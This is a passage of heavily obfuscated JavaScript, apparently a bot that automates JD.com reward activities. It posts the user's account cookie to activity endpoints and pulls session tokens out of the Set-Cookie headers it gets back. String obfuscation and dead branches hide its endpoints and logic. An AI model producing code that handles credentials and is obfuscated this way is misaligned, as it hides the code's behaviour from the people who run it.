_0x42622e[_0x4291('327')](_0x4f0d3d,_0x2a27f4);},'qaRmq':function(_0x3485c0,_0x87ac22){return _0x42622e[_0x4291('328')](_0x3485c0,_0x87ac22);},'wcVcE':_0x42622e[_0x4291('329')],'KPNss':function(_0x4e1d75,_0x133945){return _0x42622e[_0x4291('327')](_0x4e1d75,_0x133945);},'ctbvQ':function(_0x51ba85,_0x29a118){return _0x42622e[_0x4291('32a')](_0x51ba85,_0x29a118);},'nplGD':function(_0x323546,_0x1ede7a){return _0x42622e[_0x4291('32b')](_0x323546,_0x1ede7a);},'KcEDT':_0x42622e[_0x4291('32c')],'dafSi':_0x42622e[_0x4291('32d')],'MffmD':function(_0x2e7d4e,_0x506f76){return _0x42622e[_0x4291('32e')](_0x2e7d4e,_0x506f76);},'npfPo':_0x42622e[_0x4291('32f')],'SbbiF':function(_0x44c631){return _0x42622e[_0x4291('330')](_0x44c631);}};if(_0x42622e[_0x4291('331')](_0x42622e[_0x4291('332')],_0x42622e[_0x4291('333')])){let _0x3b1c72=_0x4291('334')+$[_0x4291('40')]+_0x4291('43')+$[_0x4291('3e')];let _0x360352=_0x4291('335')+($[_0x4291('31')]||$[_0x4291('33')])+_0x4291('336')+_0x42622e[_0x4291('337')](encodeURIComponent,$[_0x4291('74')])+_0x4291('338')+$[_0x4291('40')]+_0x4291('339')+_0x42622e[_0x4291('337')](encodeURIComponent,_0x3b1c72)+_0x4291('33a');$[_0x4291('10b')](_0x42622e[_0x4291('33b')](taskPostUrl,_0x42622e[_0x4291('33c')],_0x360352),async(_0x4412ca,_0x286f8e,_0x2c882d)=>{var _0x5e4683={'bdtoF':_0x1586af[_0x4291('33d')],'HLIEk':_0x1586af[_0x4291('33e')],'vcEYQ':_0x1586af[_0x4291('33f')],'lFOww':_0x1586af[_0x4291('340')],'KKNHu':_0x1586af[_0x4291('341')],'otiVc':function(_0x505f1a,_0x437d6d){return _0x1586af[_0x4291('342')](_0x505f1a,_0x437d6d);}};try{if(_0x4412ca){console[_0x4291('a')](''+$[_0x4291('58')](_0x4412ca));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{let _0x103f9f='';let _0x1baa1e='';let _0xa74969=_0x286f8e[_0x1586af[_0x4291('343')]][_0x1586af[_0x4291('344')]]||_0x286f8e[_0x1586af[_0x4291('343')]][_0x1586af[_0x4291('345')]]||'';let _0x2653fc='';if(_0xa74969){if(_0x1586af[_0x4291('346')](_0x1586af[_0x4291('347')],_0x1586af[_0x4291('348')])){if(_0x1586af[_0x4291('349')](typeof _0xa74969,_0x1586af[_0x4291('34a')])){_0x2653fc=_0xa74969[_0x4291('7c')](',');}else _0x2653fc=_0xa74969;for(let _0x1446ff of _0x2653fc){let _0x3efd4a=_0x1446ff[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x3efd4a[_0x4291('7c')]('=')[0x1]){if(_0x1586af[_0x4291('34b')](_0x3efd4a[_0x4291('89')](_0x1586af[_0x4291('34c')]),-0x1))_0x103f9f=_0x1586af[_0x4291('34d')](_0x3efd4a[_0x4291('57')](/ /g,''),';');if(_0x1586af[_0x4291('34e')](_0x3efd4a[_0x4291('89')](_0x1586af[_0x4291('34f')]),-0x1))_0x1baa1e=_0x1586af[_0x4291('350')](_0x3efd4a[_0x4291('57')](/ /g,''),';');}}}else{$[_0x4291('5b')](e,_0x286f8e);}}if(_0x1586af[_0x4291('351')](_0x103f9f,_0x1baa1e))activityCookie=_0x103f9f+'\x20'+_0x1baa1e;}}catch(_0x5a2726){if(_0x1586af[_0x4291('352')](_0x1586af[_0x4291('353')],_0x1586af[_0x4291('354')])){$[_0x4291('5b')](_0x5a2726,_0x286f8e);}else{console[_0x4291('a')](_0x5a2726);$[_0x4291('2b')]($[_0x4291('2c')],'',_0x5e4683[_0x4291('355')]);return[];}}finally{if(_0x1586af[_0x4291('356')](_0x1586af[_0x4291('357')],_0x1586af[_0x4291('357')])){_0x1586af[_0x4291('358')](_0x250907);}else{let _0x4e2aa1=[_0x5e4683[_0x4291('359')],_0x5e4683[_0x4291('35a')],_0x5e4683[_0x4291('35b')],_0x5e4683[_0x4291('35c')]];$[_0x4291('3e')]=_0x4e2aa1[Math[_0x4291('35d')](_0x5e4683[_0x4291('35e')](Math[_0x4291('a0')](),_0x4e2aa1[_0x4291('45')]))];}}});}else{console[_0x4291('a')](_0x4291('25f')+(res[_0x4291('9a')]||''));}});}function getMyPing(){var _0x390f82={'ABsNl':function(_0x3391e0){return _0x3391e0();},'qfGaQ':function(_0x4e7a6a,_0x8c5ec9){return _0x4e7a6a==_0x8c5ec9;},'SASzy':_0x4291('60'),'GcFIe':function(_0x591b1c,_0x4a80f6){return _0x591b1c===_0x4a80f6;},'OPrpI':function(_0x4c3550,_0x348f5e){return _0x4c3550!=_0x348f5e;},'QswdE':_0x4291('17'),'VqEgv':_0x4291('177'),'OQsUZ':function(_0x13dd99,_0x14ebda){return _0x13dd99===_0x14ebda;},'ASlZe':_0x4291('35f'),'sftXF':_0x4291('18'),'ZTJJi':function(_0xf66e43,_0x1bec3a){return _0xf66e43!==_0x1bec3a;},'JCOPu':_0x4291('360'),'csRfj':_0x4291('361'),'cwOSM':_0x4291('30c'),'EGbDh':_0x4291('30d'),'JNXUJ':_0x4291('30e'),'mGMzF':_0x4291('362'),'hpyVs':function(_0x47925c,_0x2b49f5){return _0x47925c===_0x2b49f5;},'eWsLC':_0x4291('363'),'TcLbl':_0x4291('364'),'wAAIc':function(_0x33c71f,_0x1a078f){return _0x33c71f>_0x1a078f;},'VEsGp':_0x4291('138'),'MWhQN':function(_0x3f105b,_0x1b0a1a){return _0x3f105b+_0x1b0a1a;},'pzkYp':function(_0x595d9f,_0x5beeca){return _0x595d9f>_0x5beeca;},'QdtzJ':_0x4291('5e'),'OYaMb':_0x4291('5f'),'EWyzI':function(_0x477340,_0x5aecb9){return _0x477340&&_0x5aecb9;},'xTbkG':function(_0x460be4,_0x3de7a9){return _0x460be4!=_0x3de7a9;},'MXZfh':function(_0x226fec,_0x458911){return _0x226fec==_0x458911;},'dQCDN':_0x4291('365'),'xRpWw':_0x4291('366'),'oFebf':_0x4291('367'),'wgXxb':_0x4291('368'),'Whlhr':function(_0x3b72b6){return _0x3b72b6();},'vLyeB':_0x4291('369'),'JRpqg':function(_0x259118,_0x5b9538,_0x4056bd){return _0x259118(_0x5b9538,_0x4056bd);},'GdPWj':_0x4291('36a')};return new Promise(_0x33bd46=>{var _0x314de6={'kOIAF':function(_0xa9138d){return _0x390f82[_0x4291('36b')](_0xa9138d);},'jFnWA':function(_0x276d79,_0x45f3b9){return _0x390f82[_0x4291('36c')](_0x276d79,_0x45f3b9);},'ndnRh':_0x390f82[_0x4291('36d')],'OzEVd':function(_0x1c788f,_0x3eaf0b){return _0x390f82[_0x4291('36e')](_0x1c788f,_0x3eaf0b);},'tLubg':function(_0x584401,_0x5dcdad){return _0x390f82[_0x4291('36f')](_0x584401,_0x5dcdad);},'hSTUf':_0x390f82[_0x4291('370')],'oChFS':_0x390f82[_0x4291('371')],'MeSZC':function(_0x5ee6df,_0x8db893){return _0x390f82[_0x4291('372')](_0x5ee6df,_0x8db893);},'LfRQS':_0x390f82[_0x4291('373')],'qNpsJ':function(_0x4faa3a,_0x59210b){return _0x390f82[_0x4291('36c')](_0x4faa3a,_0x59210b);},'EIZun':_0x390f82[_0x4291('374')],'JlLPG':function(_0x43be6a,_0x38a070){return _0x390f82[_0x4291('375')](_0x43be6a,_0x38a070);},'lXfhq':_0x390f82[_0x4291('376')],'wLkZI':_0x390f82[_0x4291('377')],'qtKmM':_0x390f82[_0x4291('378')],'jqSCI':_0x390f82[_0x4291('379')],'VsKPo':_0x390f82[_0x4291('37a')],'NBIdu':_0x390f82[_0x4291('37b')],'Qwmxm':function(_0x4e76eb,_0x573721){return _0x390f82[_0x4291('36f')](_0x4e76eb,_0x573721);},'xpfDx':function(_0x114244,_0x51078c){return _0x390f82[_0x4291('37c')](_0x114244,_0x51078c);},'FAGAL':_0x390f82[_0x4291('37d')],'KIMIF':_0x390f82[_0x4291('37e')],'XJOwx':function(_0x38d565,_0x2b0954){return _0x390f82[_0x4291('37f')](_0x38d565,_0x2b0954);},'gerVK':_0x390f82[_0x4291('380')],'edNUN':function(_0x8bb9e8,_0x3c33f){return _0x390f82[_0x4291('381')](_0x8bb9e8,_0x3c33f);},'ylNmZ':function(_0x3a9867,_0x4ada8c){return _0x390f82[_0x4291('382')](_0x3a9867,_0x4ada8c);},'JXKEc':_0x390f82[_0x4291('383')],'bjQxW':_0x390f82[_0x4291('384')],'ldEpH':function(_0xbce878,_0x5122af){return _0x390f82[_0x4291('385')](_0xbce878,_0x5122af);},'LKcYx':function(_0x516518,_0x164e57){return _0x390f82[_0x4291('36f')](_0x516518,_0x164e57);},'VmdoS':function(_0x19306a,_0x45f6e5){return _0x390f82[_0x4291('386')](_0x19306a,_0x45f6e5);},'JtVlr':function(_0x470b66,_0x3b246f){return _0x390f82[_0x4291('387')](_0x470b66,_0x3b246f);},'VXoAF':function(_0x44cc1d,_0x215119){return _0x390f82[_0x4291('37c')](_0x44cc1d,_0x215119);},'kwUWZ':_0x390f82[_0x4291('388')],'WfBqm':_0x390f82[_0x4291('389')],'oYprj':_0x390f82[_0x4291('38a')],'Ozwus':_0x390f82[_0x4291('38b')],'NxDIh':function(_0xa78f78){return _0x390f82[_0x4291('38c')](_0xa78f78);}};if(_0x390f82[_0x4291('375')](_0x390f82[_0x4291('38d')],_0x390f82[_0x4291('38d')])){console[_0x4291('a')](data);}else{let _0x5b2b29=_0x4291('38e')+($[_0x4291('31')]||$[_0x4291('33')])+_0x4291('38f')+$[_0x4291('73')]+_0x4291('390');$[_0x4291('10b')](_0x390f82[_0x4291('391')](taskPostUrl,_0x390f82[_0x4291('392')],_0x5b2b29),async(_0x8e007a,_0x2490f9,_0x467c25)=>{var _0x3fb47c={'ZyTyp':function(_0x1369be,_0x5b026d){return _0x314de6[_0x4291('393')](_0x1369be,_0x5b026d);},'pxASx':_0x314de6[_0x4291('394')],'kqpWb':function(_0x209862,_0x489878){return _0x314de6[_0x4291('395')](_0x209862,_0x489878);},'JyssX':function(_0x1e2b9a,_0x59d1ee){return _0x314de6[_0x4291('396')](_0x1e2b9a,_0x59d1ee);},'HAoqW':_0x314de6[_0x4291('397')],'wodKx':function(_0x423445,_0x5bb0b8){return _0x314de6[_0x4291('396')](_0x423445,_0x5bb0b8);},'oHZWQ':function(_0x5ec2a6,_0xdeffaa){return _0x314de6[_0x4291('393')](_0x5ec2a6,_0xdeffaa);},'RYvcK':_0x314de6[_0x4291('398')],'QdzrZ':function(_0x5cf255,_0x28f139){return _0x314de6[_0x4291('393')](_0x5cf255,_0x28f139);}};if(_0x314de6[_0x4291('399')](_0x314de6[_0x4291('39a')],_0x314de6[_0x4291('39a')])){try{if(_0x8e007a){if(_0x2490f9[_0x4291('118')]&&_0x314de6[_0x4291('39b')](_0x2490f9[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x314de6[_0x4291('39c')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+$[_0x4291('58')](_0x8e007a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('39d'));}else{if(_0x314de6[_0x4291('39e')](_0x314de6[_0x4291('39f')],_0x314de6[_0x4291('3a0')])){let _0x5f309a='';let _0x46c03d='';let _0x20bec0=_0x2490f9[_0x314de6[_0x4291('3a1')]][_0x314de6[_0x4291('3a2')]]||_0x2490f9[_0x314de6[_0x4291('3a1')]][_0x314de6[_0x4291('3a3')]]||'';let _0x3f6534='';if(_0x20bec0){if(_0x314de6[_0x4291('399')](_0x314de6[_0x4291('3a4')],_0x314de6[_0x4291('3a4')])){if(_0x314de6[_0x4291('3a5')](typeof _0x20bec0,_0x314de6[_0x4291('394')])){_0x3f6534=_0x20bec0[_0x4291('7c')](',');}else _0x3f6534=_0x20bec0;for(let _0x26a00f of _0x3f6534){let _0x3f1329=_0x26a00f[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x3f1329[_0x4291('7c')]('=')[0x1]){if(_0x314de6[_0x4291('3a6')](_0x314de6[_0x4291('3a7')],_0x314de6[_0x4291('3a8')])){_0x2f8f50=$[_0x4291('d1')](_0x467c25);if(_0x3fb47c[_0x4291('3a9')](typeof _0x2f8f50,_0x3fb47c[_0x4291('3aa')])&&_0x2f8f50[_0x4291('ab')]&&_0x3fb47c[_0x4291('3ab')](_0x2f8f50[_0x4291('ab')],!![])){if(_0x3fb47c[_0x4291('3ac')](typeof _0x2f8f50[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('bb')]=_0x2f8f50[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')];if(_0x3fb47c[_0x4291('3ac')](typeof _0x2f8f50[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('c0')]=_0x2f8f50[_0x4291('30')][_0x4291('c0')][_0x4291('2c6')];if(_0x3fb47c[_0x4291('3ae')](typeof _0x2f8f50[_0x4291('30')][_0x4291('52')],_0x3fb47c[_0x4291('3ad')]))$[_0x4291('52')]=_0x2f8f50[_0x4291('30')][_0x4291('52')];}else if(_0x3fb47c[_0x4291('3af')](typeof _0x2f8f50,_0x3fb47c[_0x4291('3aa')])&&_0x2f8f50[_0x4291('9a')]){console[_0x4291('a')](_0x4291('1f9')+(_0x2f8f50[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x467c25);}}else{if(_0x314de6[_0x4291('3b0')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b1')]),-0x1))lz_jdpin_token=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');if(_0x314de6[_0x4291('3b3')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b4')]),-0x1))_0x5f309a=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');if(_0x314de6[_0x4291('3b3')](_0x3f1329[_0x4291('89')](_0x314de6[_0x4291('3b5')]),-0x1))_0x46c03d=_0x314de6[_0x4291('3b2')](_0x3f1329[_0x4291('57')](/ /g,''),';');}}}}else{_0x314de6[_0x4291('3b6')](_0x33bd46);}}if(_0x314de6[_0x4291('3b7')](_0x5f309a,_0x46c03d))activityCookie=_0x5f309a+'\x20'+_0x46c03d;let _0x2f8f50=$[_0x4291('d1')](_0x467c25);if(_0x314de6[_0x4291('39b')](typeof _0x2f8f50,_0x314de6[_0x4291('394')])&&_0x2f8f50[_0x4291('ab')]&&_0x314de6[_0x4291('3a6')](_0x2f8f50[_0x4291('ab')],!![])){if(_0x2f8f50[_0x4291('30')]&&_0x314de6[_0x4291('3b8')](typeof _0x2f8f50[_0x4291('30')][_0x4291('2d4')],_0x314de6[_0x4291('397')]))$[_0x4291('74')]=_0x2f8f50[_0x4291('30')][_0x4291('2d4')];if(_0x2f8f50[_0x4291('30')]&&_0x314de6[_0x4291('3b9')](typeof _0x2f8f50[_0x4291('30')][_0x4291('80')],_0x314de6[_0x4291('397')]))$[_0x4291('80')]=_0x2f8f50[_0x4291('30')][_0x4291('80')];}else if(_0x314de6[_0x4291('3ba')](typeof _0x2f8f50,_0x314de6[_0x4291('394')])&&_0x2f8f50[_0x4291('9a')]){if(_0x314de6[_0x4291('3bb')](_0x314de6[_0x4291('3bc')],_0x314de6[_0x4291('3bd')])){$[_0x4291('5b')](e,_0x2490f9);}else{console[_0x4291('a')](_0x4291('3be')+(_0x2f8f50[_0x4291('9a')]||''));}}else{if(_0x314de6[_0x4291('3bb')](_0x314de6[_0x4291('3bf')],_0x314de6[_0x4291('3c0')])){if(_0x8e007a){console[_0x4291('a')](''+$[_0x4291('58')](_0x8e007a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('59'));}else{}}else{console[_0x4291('a')](_0x467c25);}}}else{if(_0x3fb47c[_0x4291('3ab')](res[_0x4291('ab')],!![])&&res[_0x4291('30')]){console[_0x4291('a')](_0x4291('25a')+(res[_0x4291('30')][_0x4291('25b')]&&res[_0x4291('30')][_0x4291('2c')]||_0x3fb47c[_0x4291('3c1')]));}else if(_0x3fb47c[_0x4291('3c2')](typeof res,_0x3fb47c[_0x4291('3aa')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('25f')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0x467c25);}}}}catch(_0x47e65e){$[_0x4291('5b')](_0x47e65e,_0x2490f9);}finally{_0x314de6[_0x4291('3c3')](_0x33bd46);}}else{msg+=_0x4291('1d6')+res[_0x4291('30')][_0x4291('1d4')]+'京豆';}});}});}function getSimpleActInfoVo(){var _0x185b8a={'wZkwP':function(_0x8ba0cd,_0x5a9d06){return _0x8ba0cd!=_0x5a9d06;},'gKXMK':_0x4291('60'),'rcqFm':function(_0x324bae,_0x1775ba){return _0x324bae>_0x1775ba;},'sNysA':_0x4291('138'),'XvSBA':function(_0x184520,_0x4542dc){return _0x184520+_0x4542dc;},'tEfjt':_0x4291('5e'),'cxMGg':_0x4291('5f'),'JYBGD':function(_0x3f2748,_0x5b1afe){return _0x3f2748+_0x5b1afe;},'XbCOg':function(_0x7252ed,_0x29fd81){return _0x7252ed(_0x29fd81);},'THrsX':function(_0x338aae,_0x5ade0d){return _0x338aae===_0x5ade0d;},'wlFYS':_0x4291('3c4'),'GCtbX':_0x4291('3c5'),'DTFVq':function(_0x5b0e31,_0x4cdca1){return _0x5b0e31==_0x4cdca1;},'hySRL':_0x4291('18'),'byIWH':function(_0x30d527,_0x1708e7){return _0x30d527!==_0x1708e7;},'dTaxu':_0x4291('3c6'),'lrKTq':_0x4291('3c7'),'pHPxa':function(_0x7c598e,_0x47788d){return _0x7c598e==_0x47788d;},'QZVWT':function(_0x88661a,_0x9ddb2a){return _0x88661a===_0x9ddb2a;},'sioNv':_0x4291('17'),'Smcwt':function(_0x21ec27){return _0x21ec27();},'pRmbl':function(_0x5413b0,_0x31b7eb,_0x5d78dd){return _0x5413b0(_0x31b7eb,_0x5d78dd);},'lwPdk':_0x4291('3c8')};return new Promise(_0x43f036=>{var _0x4f70a2={'DaFJf':function(_0x142189,_0x83ee7e){return _0x185b8a[_0x4291('3c9')](_0x142189,_0x83ee7e);},'GYCLe':_0x185b8a[_0x4291('3ca')],'fmexl':function(_0x4c4b8c,_0x4a6ea6){return _0x185b8a[_0x4291('3cb')](_0x4c4b8c,_0x4a6ea6);},'joxot':_0x185b8a[_0x4291('3cc')],'adJtm':function(_0x1903d4,_0x378b6c){return _0x185b8a[_0x4291('3cd')](_0x1903d4,_0x378b6c);},'blSRq':function(_0x479e68,_0x221036){return _0x185b8a[_0x4291('3cb')](_0x479e68,_0x221036);},'jKcez':_0x185b8a[_0x4291('3ce')],'eIKRd':function(_0x212e72,_0x5b30fa){return _0x185b8a[_0x4291('3cb')](_0x212e72,_0x5b30fa);},'zAVAG':_0x185b8a[_0x4291('3cf')],'UrElp':function(_0x35068c,_0x290a8a){return _0x185b8a[_0x4291('3d0')](_0x35068c,_0x290a8a);},'blgoF':function(_0x45da77,_0x11991b){return _0x185b8a[_0x4291('3d1')](_0x45da77,_0x11991b);},'BoZfc':function(_0x365ab1,_0x384390){return _0x185b8a[_0x4291('3d2')](_0x365ab1,_0x384390);},'vrTYm':_0x185b8a[_0x4291('3d3')],'srqPi':_0x185b8a[_0x4291('3d4')],'SRqcS':function(_0x5eeaac,_0x511fb6){return _0x185b8a[_0x4291('3d5')](_0x5eeaac,_0x511fb6);},'mfTpo':_0x185b8a[_0x4291('3d6')],'ylNAM':function(_0x2ff921,_0x1b4eb4){return _0x185b8a[_0x4291('3d7')](_0x2ff921,_0x1b4eb4);},'tKvHM':_0x185b8a[_0x4291('3d8')],'pEgEt':_0x185b8a[_0x4291('3d9')],'VtnOY':function(_0x20e8ab,_0x446d1a){return _0x185b8a[_0x4291('3da')](_0x20e8ab,_0x446d1a);},'bqdrK':function(_0x4ba524,_0x516672){return _0x185b8a[_0x4291('3db')](_0x4ba524,_0x516672);},'ahtlh':_0x185b8a[_0x4291('3dc')],'rRwBf':function(_0x346c8f,_0x3d960d){return _0x185b8a[_0x4291('3da')](_0x346c8f,_0x3d960d);},'LIugq':function(_0x123d2f){return _0x185b8a[_0x4291('3dd')](_0x123d2f);}};let _0xa74f45=_0x4291('106')+$[_0x4291('40')];$[_0x4291('10b')](_0x185b8a[_0x4291('3de')](taskPostUrl,_0x185b8a[_0x4291('3df')],_0xa74f45),async(_0x2c232a,_0x294f30,_0xf2e91b)=>{if(_0x4f70a2[_0x4291('3e0')](_0x4f70a2[_0x4291('3e1')],_0x4f70a2[_0x4291('3e1')])){try{if(_0x2c232a){if(_0x4f70a2[_0x4291('3e0')](_0x4f70a2[_0x4291('3e2')],_0x4f70a2[_0x4291('3e2')])){if(_0x294f30[_0x4291('118')]&&_0x4f70a2[_0x4291('3e3')](_0x294f30[_0x4291('118')],0x1ed)){console[_0x4291('a')](_0x4f70a2[_0x4291('3e4')]);$[_0x4291('16')]=!![];}console[_0x4291('a')](''+JSON[_0x4291('1fb')](_0x2c232a));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('1fc'));}else{if(_0x4f70a2[_0x4291('3e5')](typeof setcookies,_0x4f70a2[_0x4291('3e6')])){setcookie=setcookies[_0x4291('7c')](',');}else setcookie=setcookies;for(let _0x2e1192 of setcookie){let _0x598770=_0x2e1192[_0x4291('7c')](';')[0x0][_0x4291('15f')]();if(_0x598770[_0x4291('7c')]('=')[0x1]){if(_0x4f70a2[_0x4291('3e7')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3e8')]),-0x1))lz_jdpin_token=_0x4f70a2[_0x4291('3e9')](_0x598770[_0x4291('57')](/ /g,''),';');if(_0x4f70a2[_0x4291('3ea')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3eb')]),-0x1))LZ_TOKEN_KEY=_0x4f70a2[_0x4291('3e9')](_0x598770[_0x4291('57')](/ /g,''),';');if(_0x4f70a2[_0x4291('3ec')](_0x598770[_0x4291('89')](_0x4f70a2[_0x4291('3ed')]),-0x1))LZ_TOKEN_VALUE=_0x4f70a2[_0x4291('3ee')](_0x598770[_0x4291('57')](/ /g,''),';');}}}}else{if(_0x4f70a2[_0x4291('3ef')](_0x4f70a2[_0x4291('3f0')],_0x4f70a2[_0x4291('3f1')])){res=$[_0x4291('d1')](_0xf2e91b);if(_0x4f70a2[_0x4291('3f2')](typeof res,_0x4f70a2[_0x4291('3e6')])&&res[_0x4291('ab')]&&_0x4f70a2[_0x4291('3f3')](res[_0x4291('ab')],!![])){if(_0x4f70a2[_0x4291('3e5')](typeof res[_0x4291('30')][_0x4291('31')],_0x4f70a2[_0x4291('3f4')]))$[_0x4291('31')]=res[_0x4291('30')][_0x4291('31')];if(_0x4f70a2[_0x4291('3e5')](typeof res[_0x4291('30')][_0x4291('33')],_0x4f70a2[_0x4291('3f4')]))$[_0x4291('33')]=res[_0x4291('30')][_0x4291('33')];}else if(_0x4f70a2[_0x4291('3f5')](typeof res,_0x4f70a2[_0x4291('3e6')])&&res[_0x4291('9a')]){console[_0x4291('a')](_0x4291('135')+(res[_0x4291('9a')]||''));}else{console[_0x4291('a')](_0xf2e91b);}}else{console[_0x4291('a')](_0x4291('ae')+i[_0x4291('af')]+i[_0x4291('b0')]+i[_0x4291('b1')]);}}}catch(_0x97eb6d){$[_0x4291('5b')](_0x97eb6d,_0x294f30);}finally{_0x4f70a2[_0x4291('3f6')](_0x43f036);}}else{_0x4f70a2[_0x4291('3f7')](_0x43f036,res&&res[_0x4291('30')]||'');}});});}function getToken(){var _0x3b5661={'fBMXv':function(_0xfc1cba,_0x3d343c){return _0xfc1cba!=_0x3d343c;},'vzvfv':_0x4291('17'),'mcuYW':function(_0x3812e9,_0x53fe7c){return _0x3812e9!=_0x53fe7c;},'UJIFL':function(_0x52fc72,_0x501718){return _0x52fc72==_0x501718;},'GsGOK':_0x4291('de'),'zBIhl':function(_0x3660df,_0xf6c387){return _0x3660df!=_0xf6c387;},'qBwzd':function(_0x47fbe3,_0x57406b){return _0x47fbe3!=_0x57406b;},'SujGu':function(_0x5e70ad,_0x3b4140){return _0x5e70ad+_0x3b4140;},'pzLtu':function(_0x3afe54,_0x1cddf1){return _0x3afe54>_0x1cddf1;},'hOpxQ':function(_0x2ea480,_0x38dc74){return _0x2ea480*_0x38dc74;},'snvqb':function(_0x4ebc3e,_0x16ff19,_0x38eb01){return _0x4ebc3e(_0x16ff19,_0x38eb01);},'FTnGT':function(_0x38a4a9,_0x26d8ba){return _0x38a4a9===_0x26d8ba;},'Cziyf':_0x4291('3f8'),'kSzQd':function(_0x233b7d,_0x3f64c3){return _0x233b7d===_0x3f64c3;},'aRThL':_0x4291('3f9'),'WzWBy':_0x4291('60'),'ayWjX':function(_0x45149a,_0x126f77){return _0x45149a==_0x126f77;},'JvnEL':function(_0x1ed73b,_0x520e07){return _0x1ed73b!==_0x520e07;},'rCpZx':_0x4291('3fa'),'cPmED':function(_0x899ce0,_0x321bbc){return _0x899ce0==_0x321bbc;},'VYgRB':_0x4291('3fb'),'RuNyW':function(_0x3736bb){return _0x3736bb();},'TKyws':function(_0x5634ea,_0x488c87){return _0x5634ea||_0x488c87;},'ipsBo':_0x4291('177'),'Xybip':function(_0x75ab9e){return _0x75ab9e();},'RCzrD':_0x4291('3fc'),'PFddd':_0x4291('3fd'),'vVIDt':_0x4291('3fe'),'ZxPqa':_0x4291('204'),'HSdeP':_0x4291('202')};return new Promise(_0x27c105=>{var _0x196a21={'atsKP':function(_0x153341,_0x459d2d){return _0x3b5661[_0x4291('3ff')](_0x153341,_0x459d2d);},'PsyYc':_0x3b5661[_0x4291('400')],'vQqMy':function(_0x10901b){return _0x3b5661[_0x4291('401')](_0x10901b);}};if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('403')],_0x3b5661[_0x4291('404')])){$[_0x4291('10b')]({'url':_0x4291('405'),'body':_0x3b5661[_0x4291('406')],'headers':{'Content-Type':_0x3b5661[_0x4291('407')],'Cookie':cookie,'Host':_0x3b5661[_0x4291('408')],'User-Agent':_0x4291('409')}},async(_0x585a67,_0x4303ac,_0x22d45d)=>{var _0x4d799f={'ZCeRC':function(_0x5d49c3,_0x2eeca3){return _0x3b5661[_0x4291('40a')](_0x5d49c3,_0x2eeca3);},'lLmPq':_0x3b5661[_0x4291('40b')],'ETKMb':function(_0x3ac548,_0xed46e1){return _0x3b5661[_0x4291('40c')](_0x3ac548,_0xed46e1);},'uVIlg':function(_0x236edc,_0x275327){return _0x3b5661[_0x4291('40d')](_0x236edc,_0x275327);},'WRFhG':_0x3b5661[_0x4291('40e')],'MJOkN':function(_0x14dee6,_0x4bf0a3){return _0x3b5661[_0x4291('40f')](_0x14dee6,_0x4bf0a3);},'goXSB':function(_0xb52de4,_0x1b5db2){return _0x3b5661[_0x4291('410')](_0xb52de4,_0x1b5db2);},'NHhZr':function(_0x43dc55,_0xe38b05){return _0x3b5661[_0x4291('411')](_0x43dc55,_0xe38b05);},'xTxCi':function(_0x2b1819,_0x5e20aa){return _0x3b5661[_0x4291('412')](_0x2b1819,_0x5e20aa);},'fTjbS':function(_0x3e333e,_0xce3071){return _0x3b5661[_0x4291('413')](_0x3e333e,_0xce3071);},'OWQMW':function(_0x127cb3,_0x5ea332,_0x45930b){return _0x3b5661[_0x4291('414')](_0x127cb3,_0x5ea332,_0x45930b);}};if(_0x3b5661[_0x4291('415')](_0x3b5661[_0x4291('416')],_0x3b5661[_0x4291('416')])){try{if(_0x3b5661[_0x4291('417')](_0x3b5661[_0x4291('418')],_0x3b5661[_0x4291('418')])){if(_0x585a67){console[_0x4291('a')](''+$[_0x4291('58')](_0x585a67));console[_0x4291('a')]($[_0x4291('2c')]+_0x4291('301'));}else{let _0x4c67df=$[_0x4291('d1')](_0x22d45d);if(_0x3b5661[_0x4291('40d')](typeof _0x4c67df,_0x3b5661[_0x4291('419')])&&_0x3b5661[_0x4291('41a')](_0x4c67df[_0x4291('d3')],0x0)){if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('41b')],_0x3b5661[_0x4291('41b')])){let _0x5544e5='';if(_0x4c67df[_0x4291('30')][_0x4291('1a0')]){_0x5544e5=_0x4c67df[_0x4291('30')][_0x4291('1a0')]+'京豆';}if(_0x4c67df[_0x4291('30')][_0x4291('1d4')]&&_0x4c67df[_0x4291('30')][_0x4291('1d5')]){_0x5544e5+=_0x4291('1d6')+_0x4c67df[_0x4291('30')][_0x4291('1d4')]+'京豆';}console[_0x4291('a')](_0x4291('1d7')+_0x196a21[_0x4291('41c')](_0x5544e5,_0x196a21[_0x4291('41d')]));}else{if(_0x3b5661[_0x4291('410')](typeof _0x4c67df[_0x4291('d4')],_0x3b5661[_0x4291('40b')]))$[_0x4291('73')]=_0x4c67df[_0x4291('d4')];}}else if(_0x3b5661[_0x4291('41e')](typeof _0x4c67df,_0x3b5661[_0x4291('419')])&&_0x4c67df[_0x4291('d5')]){if(_0x3b5661[_0x4291('402')](_0x3b5661[_0x4291('41f')],_0x3b5661[_0x4291('41f')])){_0x196a21[_0x4291('420')](_0x27c105);}else{console[_0x4291('a')](_0x4291('d6')+(_0x4c67df[_0x4291('d5')]||''));}}else{console[_0x4291('a')](_0x22d45d);}}}else{if(_0x4d799f[_0x4291('421')](typeof res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')],_0x4d799f[_0x4291('422')]))$[_0x4291('bb')]=res[_0x4291('30')][_0x4291('bb')][_0x4291('2c6')];if(_0x4d799f[_0x4291('421')](typeof 